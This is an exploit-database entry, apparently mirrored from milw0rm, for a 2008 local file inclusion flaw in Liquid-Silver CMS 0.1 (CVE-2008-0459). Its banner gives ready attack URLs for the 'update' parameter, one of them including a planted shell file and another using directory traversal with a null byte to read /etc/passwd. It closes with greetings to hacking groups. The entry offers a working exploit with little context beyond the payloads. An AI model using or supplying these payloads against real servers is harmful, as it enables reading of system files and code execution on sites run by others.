Liquid-Silver CMS 0.1 - 'update' Local File Inclusion



EKU-ID: 12927 CVE: OSVDB-40492;CVE-2008-0459 OSVDB-ID:
Author: Stack Published: 2008-01-23 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


####################################################################################
###### Liquid-Silver CMS   Local File Inclusion Vulnerabilities                #####
###### http://sourceforge.net/project/showfiles.php?group_id=171166            #####
###### author : Stack-Terrorist [v40]                                          #####
###### foor read a php file > ?update=[name of file iwthout php]               #####
###### for execute exploit does not write extention of file                    #####
######                                                                         #####
######                                                                         #####
###### exploit : /Script/update/index.php?update=/[name of file wthout php]    #####
######                                                                         #####
###### example : /Script/update/index.php?update=/home/user/shell              #####
######                                                                         #####
###### other files:    update=../../../../etc/passwd%00                        #####
######                                                                         #####
######  H-T Team , v4 Team  , Tryag , no-hack all my friend                    #####
####################################################################################

# milw0rm.com [2008-01-23]